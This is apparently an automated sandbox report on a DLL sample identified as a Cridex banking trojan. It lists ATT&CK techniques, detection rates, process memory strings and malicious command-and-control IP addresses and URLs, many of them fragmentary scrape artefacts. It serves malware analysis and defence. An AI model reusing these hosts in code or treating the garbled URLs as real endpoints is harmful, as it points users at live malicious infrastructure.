Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Obfuscated Files or Information1	LSASS Memory	Process Discovery1	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Non-Standard Port1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Rundll321	Security Account Manager	Account Discovery1	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Ingress Tool Transfer3	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Binary Padding	NTDS	System Owner/User Discovery1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Non-Application Layer Protocol2	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	Remote System Discovery1	SSH	Keylogging	Data Transfer Size Limits	Application Layer Protocol13	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Steganography	Cached Domain Credentials	System Network Configuration Discovery1	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Compile After Delivery	DCSync	File and Directory Discovery1	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	System Information Discovery23	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
SecuriteInfo.com.Variant.Razy.980776.19803.dll	8%	Virustotal		Browse
SecuriteInfo.com.Variant.Razy.980776.19803.dll	18%	ReversingLabs	Win32.Worm.Cridex

Dropped Files

No Antivirus matches

Unpacked PE Files

No Antivirus matches

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://192.46.210.220/ntrust	0%	Avira URL Cloud	safe
https://45.77.0.96:6	0%	Avira URL Cloud	safe
https://45.77.0.96:6891/Zm	0%	Avira URL Cloud	safe
https://143.244.140.214:808/(	0%	Avira URL Cloud	safe
https://185.56.219.47:8116/h:	0%	Avira URL Cloud	safe
https://192.46.210.220/Certification	0%	URL Reputation	safe
https://192.46.210.220/7.0.96:6891/Microsoft	0%	Avira URL Cloud	safe
https://143.244.140.214:808/Kqfu(	0%	Avira URL Cloud	safe
https://45.77.0.96:6891/.0.96:6891/	0%	Avira URL Cloud	safe
https://185.56.219.47:8116/oft	0%	Avira URL Cloud	safe
https://143.244.140.214:808/%	0%	Avira URL Cloud	safe
https://45.77.0.96/(6	0%	Avira URL Cloud	safe
https://45.77.0.96:6891/r	0%	Avira URL Cloud	safe
https://143.244.140.214:808/oft	0%	URL Reputation	safe
https://143.244.140.214:808/N	0%	Avira URL Cloud	safe
https://192.46.210.220/#	0%	Avira URL Cloud	safe
https://192.46.210.220/$	0%	Avira URL Cloud	safe
https://143.244.140.214:808/P	0%	Avira URL Cloud	safe
https://45.77.0.96:6891/.0.96:6891/Microsoft	0%	Avira URL Cloud	safe
https://45.77.0.96:6891/k	0%	Avira URL Cloud	safe
https://192.46.210.220/7.0.96:6891/	0%	Avira URL Cloud	safe
https://185.56.219.47:8116/ES	0%	Avira URL Cloud	safe
https://192.46.210.220/&	0%	Avira URL Cloud	safe
https://45.77.0.96:6891/v	0%	Avira URL Cloud	safe
https://192.46.210.220//	0%	Avira URL Cloud	safe
https://45.77.0.96:6891/14	0%	Avira URL Cloud	safe
https://192.46.210.220/;	0%	Avira URL Cloud	safe
https://45.77.0.96:6891/N	0%	Avira URL Cloud	safe
https://143.244.140.214/	0%	URL Reputation	safe
https://192.46.210.220/1-0	0%	Avira URL Cloud	safe
https://143.244.140.214:808/My	0%	URL Reputation	safe
https://192.46.210.220/8	0%	Avira URL Cloud	safe
https://185.56.219.47/	0%	URL Reputation	safe
https://192.46.210.220/C	0%	Avira URL Cloud	safe
https://1845.77.0.96:6891/	0%	Avira URL Cloud	safe
https://192.46.210.220/B	0%	Avira URL Cloud	safe
https://45.77.0.96:6891/J	0%	Avira URL Cloud	safe
https://192.46.210.220/K	0%	Avira URL Cloud	safe
https://192.46.210.220/I	0%	Avira URL Cloud	safe
https://45.77.0.96:6891/b	0%	Avira URL Cloud	safe
https://45.77.0.96:6891/08/	0%	Avira URL Cloud	safe
https://45.77.0.96:6891/e	0%	Avira URL Cloud	safe
https://192.46.210.220/P	0%	Avira URL Cloud	safe
https://143.244.140.214:808/	0%	URL Reputation	safe
https://185.56.219.47:8116/.	0%	Avira URL Cloud	safe
https://45.77.0.96:6891/.	0%	Avira URL Cloud	safe
https://45.77.0.96:6891/	0%	URL Reputation	safe
https://192.46.210.220/trust	0%	Avira URL Cloud	safe
https://192.46.210.220/W	0%	Avira URL Cloud	safe
https://45.77.0.96:6891/2	0%	Avira URL Cloud	safe
https://143.244.140.214/j	0%	Avira URL Cloud	safe
https://185.56.219.47:8116/0	0%	Avira URL Cloud	safe
https://185.56.219.47:8116/4	0%	Avira URL Cloud	safe
https://45.77.0.96:6891/)	0%	Avira URL Cloud	safe
https://143.244.140.214:808/Ht_	0%	Avira URL Cloud	safe
https://143.244.140.214/r	0%	Avira URL Cloud	safe
https://185.56.219.47:8116/B	0%	Avira URL Cloud	safe
https://192.46.210.220/g	0%	Avira URL Cloud	safe
https://192.46.210.220/aenh.dllltb	0%	Avira URL Cloud	safe
https://192.46.210.220/e	0%	Avira URL Cloud	safe
https://192.46.210.220/f	0%	Avira URL Cloud	safe
https://192.46.210.220/s	0%	Avira URL Cloud	safe
https://192.46.210.220/t	0%	Avira URL Cloud	safe
https://185.56.219.47:8116/D	0%	Avira URL Cloud	safe
https://192.46.210.220/o	0%	Avira URL Cloud	safe
https://185.56.219.47/m	0%	Avira URL Cloud	safe
https://143.244.140.214:808/hy	0%	URL Reputation	safe
https://192.46.210.220/y	0%	Avira URL Cloud	safe
https://192.46.210.220/z	0%	Avira URL Cloud	safe
https://45.77.0.96:6891/h9	0%	Avira URL Cloud	safe
https://45.77.0.96:6891/h.dll9	0%	Avira URL Cloud	safe
https://192.46.210.220/v	0%	Avira URL Cloud	safe
https://192.46.210.220/.0.96:6891/	0%	Avira URL Cloud	safe
https://192.46.210.220/~	0%	Avira URL Cloud	safe
https://185.56.219.47:8116/	0%	URL Reputation	safe
https://45.77.0.96/	0%	URL Reputation	safe
https://45.77.0.96:6891/derR	0%	Avira URL Cloud	safe
https://185.56.219.47:8116/l	0%	Avira URL Cloud	safe
https://18185.56.219.47:8116/~	0%	Avira URL Cloud	safe
https://185.56.219.47:8116/v	0%	Avira URL Cloud	safe
https://45.77.0.96:6891/h.dll	0%	Avira URL Cloud	safe
https://192.46.210.220/graphy	0%	Avira URL Cloud	safe
https://185.56.219.47:8116/x	0%	Avira URL Cloud	safe
https://143.244.F	0%	Avira URL Cloud	safe
https://192.46.210.220/	0%	URL Reputation	safe
https://185.56.219.47:8116/soft	0%	Avira URL Cloud	safe
https://192.46.210.220/0Z0W1	0%	Avira URL Cloud	safe
https://45.77.0.96:6891/der	0%	Avira URL Cloud	safe
https://185.56.219.47:8116/ll	0%	Avira URL Cloud	safe
https://143.244.140.214:808/.140.214:808/	0%	Avira URL Cloud	safe
https://185.56.219.47:8116/4.140.214:808/hy	0%	Avira URL Cloud	safe
https://45.77.0.96/J	0%	Avira URL Cloud	safe
https://143.244.140.214:808/l	0%	URL Reputation	safe
https://45.77.0.96:6891/graphy	0%	URL Reputation	safe
https://452.46.210.220/	0%	Avira URL Cloud	safe
https://192.46.210.220/ography	0%	URL Reputation	safe
https://143.244.140.214:808/C~g	0%	Avira URL Cloud	safe
https://185.56.219.47:8116/Ps%	0%	Avira URL Cloud	safe
https://45.77.0.96:6891/Microsoft	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

No contacted domains info

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://192.46.210.220/	true	URL Reputation: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://192.46.210.220/ntrust	loaddll32.exe, 00000000.00000003.806756501.000000000114F000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://45.77.0.96:6	loaddll32.exe, 00000000.00000003.749472778.0000000001150000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://45.77.0.96:6891/Zm	loaddll32.exe, 00000000.00000003.505189315.0000000001151000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://143.244.140.214:808/(	rundll32.exe, 00000004.00000003.740452821.00000000033D7000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://185.56.219.47:8116/h:	rundll32.exe, 00000004.00000003.548484641.00000000033D7000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://192.46.210.220/Certification	rundll32.exe, 00000004.00000002.839402088.000000000343A000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://192.46.210.220/7.0.96:6891/Microsoft	loaddll32.exe, 00000000.00000003.692427615.000000000114C000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://143.244.140.214:808/Kqfu(	loaddll32.exe, 00000000.00000003.491330486.00000000011B8000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://45.77.0.96:6891/.0.96:6891/	loaddll32.exe, 00000000.00000003.806756501.000000000114F000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://185.56.219.47:8116/oft	rundll32.exe, 00000004.00000003.690111757.00000000033D7000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://143.244.140.214:808/%	loaddll32.exe, 00000000.00000003.719411339.000000000114E000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://45.77.0.96/(6	rundll32.exe, 00000004.00000003.732236260.000000000339C000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://45.77.0.96:6891/r	loaddll32.exe, 00000000.00000003.806756501.000000000114F000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://143.244.140.214:808/oft	loaddll32.exe, 00000000.00000003.806756501.000000000114F000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000002.825892438.0000000001143000.00000004.00000020.sdmp	false	URL Reputation: safe	unknown
https://143.244.140.214:808/N	rundll32.exe, 00000004.00000003.454870700.00000000033DB000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://192.46.210.220/#	loaddll32.exe, 00000000.00000003.802350875.000000000114C000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://192.46.210.220/$	rundll32.exe, 00000004.00000003.732236260.000000000339C000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://143.244.140.214:808/P	loaddll32.exe, 00000000.00000003.608201796.000000000114A000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://45.77.0.96:6891/.0.96:6891/Microsoft	loaddll32.exe, 00000000.00000003.547291056.0000000001150000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.774221370.0000000001150000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://45.77.0.96:6891/k	loaddll32.exe, 00000000.00000003.608201796.000000000114A000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://192.46.210.220/7.0.96:6891/	loaddll32.exe, 00000000.00000003.480245456.0000000001150000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://185.56.219.47:8116/ES	loaddll32.exe, 00000000.00000003.491368237.0000000001150000.00000004.00000001.sdmp, rundll32.exe, 00000004.00000003.768805563.00000000033D7000.00000004.00000001.sdmp, rundll32.exe, 00000004.00000003.462417469.00000000033DB000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://192.46.210.220/&	loaddll32.exe, 00000000.00000003.806756501.000000000114F000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://45.77.0.96:6891/v	rundll32.exe, 00000004.00000003.456375848.0000000003450000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://192.46.210.220//	loaddll32.exe, 00000000.00000003.480245456.0000000001150000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://45.77.0.96:6891/14	loaddll32.exe, 00000000.00000003.512614801.0000000001157000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://192.46.210.220/;	loaddll32.exe, 00000000.00000003.806756501.000000000114F000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://45.77.0.96:6891/N	rundll32.exe, 00000004.00000003.456375848.0000000003450000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://143.244.140.214/	rundll32.exe, 00000004.00000003.508875492.00000000033DB000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://192.46.210.220/1-0	loaddll32.exe, 00000000.00000003.806756501.000000000114F000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://143.244.140.214:808/My	rundll32.exe, 00000004.00000003.508875492.00000000033DB000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://192.46.210.220/8	loaddll32.exe, 00000000.00000003.806756501.000000000114F000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://185.56.219.47/	rundll32.exe, 00000004.00000002.855490130.0000000005463000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://192.46.210.220/C	loaddll32.exe, 00000000.00000003.463671472.0000000001151000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://1845.77.0.96:6891/	loaddll32.exe, 00000000.00000003.608201796.000000000114A000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low
https://192.46.210.220/B	loaddll32.exe, 00000000.00000003.785545934.000000000114D000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://45.77.0.96:6891/J	loaddll32.exe, 00000000.00000003.608201796.000000000114A000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://192.46.210.220/K	loaddll32.exe, 00000000.00000003.603741779.0000000001150000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://192.46.210.220/I	loaddll32.exe, 00000000.00000003.785545934.000000000114D000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://45.77.0.96:6891/b	loaddll32.exe, 00000000.00000003.491368237.0000000001150000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://45.77.0.96:6891/08/	loaddll32.exe, 00000000.00000003.806756501.000000000114F000.00000004.00000001.sdmp, rundll32.exe, 00000004.00000002.833374830.00000000033D7000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
https://45.77.0.96:6891/e	loaddll32.exe, 00000000.00000002.825892438.0000000001143000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
https://192.46.210.220/P	loaddll32.exe, 00000000.00000003.785545934.000000000114D000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://143.244.140.214:808/	rundll32.exe, 00000004.00000003.508875492.00000000033DB000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://185.56.219.47:8116/.	rundll32.exe, 00000004.00000003.715591427.0000000003441000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://45.77.0.96:6891/.	loaddll32.exe, 00000000.00000003.684059514.0000000001150000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://45.77.0.96:6891/	loaddll32.exe, 00000000.00000003.806756501.000000000114F000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.719411339.000000000114E000.00000004.00000001.sdmp, rundll32.exe, 00000004.00000003.456386588.0000000005467000.00000004.00000001.sdmp, rundll32.exe, 00000004.00000002.855490130.0000000005463000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://192.46.210.220/trust	loaddll32.exe, 00000000.00000003.806756501.000000000114F000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://192.46.210.220/W	loaddll32.exe, 00000000.00000003.692427615.000000000114C000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://45.77.0.96:6891/2	loaddll32.exe, 00000000.00000003.806756501.000000000114F000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://143.244.140.214/j	loaddll32.exe, 00000000.00000003.806756501.000000000114F000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://185.56.219.47:8116/0	loaddll32.exe, 00000000.00000003.603741779.0000000001150000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://185.56.219.47:8116/4	loaddll32.exe, 00000000.00000003.547291056.0000000001150000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://45.77.0.96:6891/)	rundll32.exe, 00000004.00000003.456386588.0000000005467000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://143.244.140.214:808/Ht_	loaddll32.exe, 00000000.00000003.491368237.0000000001150000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://143.244.140.214/r	loaddll32.exe, 00000000.00000003.806756501.000000000114F000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://185.56.219.47:8116/B	loaddll32.exe, 00000000.00000003.583912455.000000000114E000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://192.46.210.220/g	loaddll32.exe, 00000000.00000003.806756501.000000000114F000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://45.77.0.96:6891/B	loaddll32.exe, 00000000.00000003.719411339.000000000114E000.00000004.00000001.sdmp	false		unknown
https://192.46.210.220/aenh.dllltb	loaddll32.exe, 00000000.00000003.779467941.000000000114C000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://192.46.210.220/e	rundll32.exe, 00000004.00000003.819391649.00000000033D7000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://192.46.210.220/f	loaddll32.exe, 00000000.00000003.779467941.000000000114C000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://192.46.210.220/s	loaddll32.exe, 00000000.00000003.806756501.000000000114F000.00000004.00000001.sdmp, rundll32.exe, 00000004.00000003.690111757.00000000033D7000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://192.46.210.220/t	loaddll32.exe, 00000000.00000003.806756501.000000000114F000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://185.56.219.47:8116/D	rundll32.exe, 00000004.00000003.601489285.00000000033D7000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://192.46.210.220/o	rundll32.exe, 00000004.00000003.498135306.00000000033DB000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://185.56.219.47/m	loaddll32.exe, 00000000.00000003.806756501.000000000114F000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://143.244.140.214:808/hy	loaddll32.exe, 00000000.00000003.749472778.0000000001150000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.547291056.0000000001150000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.719411339.000000000114E000.00000004.00000001.sdmp, rundll32.exe, 00000004.00000003.637891796.00000000033D7000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://192.46.210.220/y	loaddll32.exe, 00000000.00000003.806756501.000000000114F000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://192.46.210.220/z	loaddll32.exe, 00000000.00000003.806756501.000000000114F000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://45.77.0.96:6891/h9	rundll32.exe, 00000004.00000003.508903560.0000000003450000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://45.77.0.96:6891/h.dll9	loaddll32.exe, 00000000.00000003.459519197.0000000001158000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://192.46.210.220/v	rundll32.exe, 00000004.00000003.515187644.0000000003450000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://192.46.210.220/.0.96:6891/	loaddll32.exe, 00000000.00000002.825892438.0000000001143000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
https://192.46.210.220/~	rundll32.exe, 00000004.00000003.707287574.0000000003440000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://185.56.219.47:8116/	loaddll32.exe, 00000000.00000003.806756501.000000000114F000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.785545934.000000000114D000.00000004.00000001.sdmp, rundll32.exe, 00000004.00000003.690151454.0000000003440000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://45.77.0.96/	loaddll32.exe, 00000000.00000003.806756501.000000000114F000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.459519197.0000000001158000.00000004.00000001.sdmp, rundll32.exe, 00000004.00000003.732236260.000000000339C000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://45.77.0.96:6891/derR	loaddll32.exe, 00000000.00000003.459519197.0000000001158000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://185.56.219.47:8116/l	loaddll32.exe, 00000000.00000003.692427615.000000000114C000.00000004.00000001.sdmp, rundll32.exe, 00000004.00000003.690151454.0000000003440000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://18185.56.219.47:8116/~	loaddll32.exe, 00000000.00000003.480245456.0000000001150000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low
https://185.56.219.47:8116/v	rundll32.exe, 00000004.00000003.690151454.0000000003440000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://45.77.0.96:6891/h.dll	loaddll32.exe, 00000000.00000002.825892438.0000000001143000.00000004.00000020.sdmp, rundll32.exe, 00000004.00000003.456349641.0000000003414000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://192.46.210.220/graphy	loaddll32.exe, 00000000.00000003.512614801.0000000001157000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://185.56.219.47:8116/x	loaddll32.exe, 00000000.00000003.491368237.0000000001150000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://143.244.F	loaddll32.exe, 00000000.00000003.583912455.000000000114E000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://185.56.219.47:8116/soft	loaddll32.exe, 00000000.00000003.749472778.0000000001150000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.505189315.0000000001151000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.543841202.0000000001156000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.692427615.000000000114C000.00000004.00000001.sdmp, rundll32.exe, 00000004.00000003.506581152.00000000033DB000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://192.46.210.220/0Z0W1	loaddll32.exe, 00000000.00000003.491368237.0000000001150000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://45.77.0.96:6891/der	loaddll32.exe, 00000000.00000003.608201796.000000000114A000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000002.825892438.0000000001143000.00000004.00000020.sdmp, rundll32.exe, 00000004.00000003.456375848.0000000003450000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://185.56.219.47:8116/ll	rundll32.exe, 00000004.00000003.690151454.0000000003440000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://143.244.140.214:808/.140.214:808/	loaddll32.exe, 00000000.00000003.608201796.000000000114A000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://185.56.219.47:8116/4.140.214:808/hy	loaddll32.exe, 00000000.00000003.583912455.000000000114E000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://45.77.0.96/J	loaddll32.exe, 00000000.00000003.806756501.000000000114F000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://143.244.140.214:808/l	loaddll32.exe, 00000000.00000003.543841202.0000000001156000.00000004.00000001.sdmp, rundll32.exe, 00000004.00000003.508875492.00000000033DB000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://45.77.0.96:6891/graphy	loaddll32.exe, 00000000.00000003.806756501.000000000114F000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.719411339.000000000114E000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000002.825892438.0000000001143000.00000004.00000020.sdmp, rundll32.exe, 00000004.00000002.855490130.0000000005463000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://452.46.210.220/	rundll32.exe, 00000004.00000003.732236260.000000000339C000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low
https://192.46.210.220/ography	loaddll32.exe, 00000000.00000003.806756501.000000000114F000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.719411339.000000000114E000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.558714195.0000000001155000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.583912455.000000000114E000.00000004.00000001.sdmp, rundll32.exe, 00000004.00000002.855490130.0000000005463000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://143.244.140.214:808/C~g	rundll32.exe, 00000004.00000003.479096259.00000000033DB000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://185.56.219.47:8116/Ps%	loaddll32.exe, 00000000.00000003.819035845.0000000001150000.00000004.00000001.sdmp, rundll32.exe, 00000004.00000003.740542417.000000000339C000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://45.77.0.96:6891/Microsoft	loaddll32.exe, 00000000.00000003.749472778.0000000001150000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.603741779.0000000001150000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.491368237.0000000001150000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.543841202.0000000001156000.00000004.00000001.sdmp, rundll32.exe, 00000004.00000002.855490130.0000000005463000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
45.77.0.96	unknown	United States	20473	AS-CHOOPAUS	true
185.56.219.47	unknown	Italy	202675	KELIWEBIT	true
192.46.210.220	unknown	United States	5501	FRAUNHOFER-CLUSTER-BWResearchInstitutesspreadalloverGe	true
143.244.140.214	unknown	United States	174	COGENT-174US	true

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	33.0.0 White Diamond
Analysis ID:	510692
Start date:	28.10.2021
Start time:	05:01:35
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 11m 46s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	SecuriteInfo.com.Variant.Razy.980776.19803.14094 (renamed file extension from 14094 to dll)
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	24
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal84.bank.troj.evad.winDLL@11/1@0/5
EGA Information:	Failed
HDC Information:	Successful, ratio: 14% (good quality ratio 14%) Quality average: 79.2% Quality standard deviation: 15.7%
HCA Information:	Successful, ratio: 64% Number of executed functions: 21 Number of non-executed functions: 83
Cookbook Comments:	Adjust boot time Enable AMSI Override analysis time to 240s for rundll32
Warnings:	Show All Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, RuntimeBroker.exe, WMIADAP.exe, conhost.exe, backgroundTaskHost.exe, svchost.exe, wuapihost.exe Excluded IPs from analysis (whitelisted): 173.222.108.226, 173.222.108.210, 20.82.209.183, 23.211.4.86, 20.82.210.154, 80.67.82.211, 80.67.82.235, 20.54.110.249, 40.112.88.60, 52.251.79.25, 40.91.112.76 Excluded domains from analysis (whitelisted): displaycatalog-rp-uswest.md.mp.microsoft.com.akadns.net, consumer-displaycatalogrp-aks2aks-useast.md.mp.microsoft.com.akadns.net, iris-de-prod-azsc-neu-b.northeurope.cloudapp.azure.com, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, a1449.dscg2.akamai.net, wus2-displaycatalogrp.frontdoor.bigcatalog.commerce.microsoft.com, arc.msn.com, consumer-displaycatalogrp-aks2aks-europe.md.mp.microsoft.com.akadns.net, arc.trafficmanager.net, consumer-displaycatalogrp-aks2aks-uswest.md.mp.microsoft.com.akadns.net, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net, iris-de-prod-azsc-neu.northeurope.cloudapp.azure.com, fs.microsoft.com, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, wu-shim.trafficmanager.net, neu-displaycatalogrp.frontdoor.bigcatalog.commerce.microsoft.com, ris-prod.trafficmanager.net, 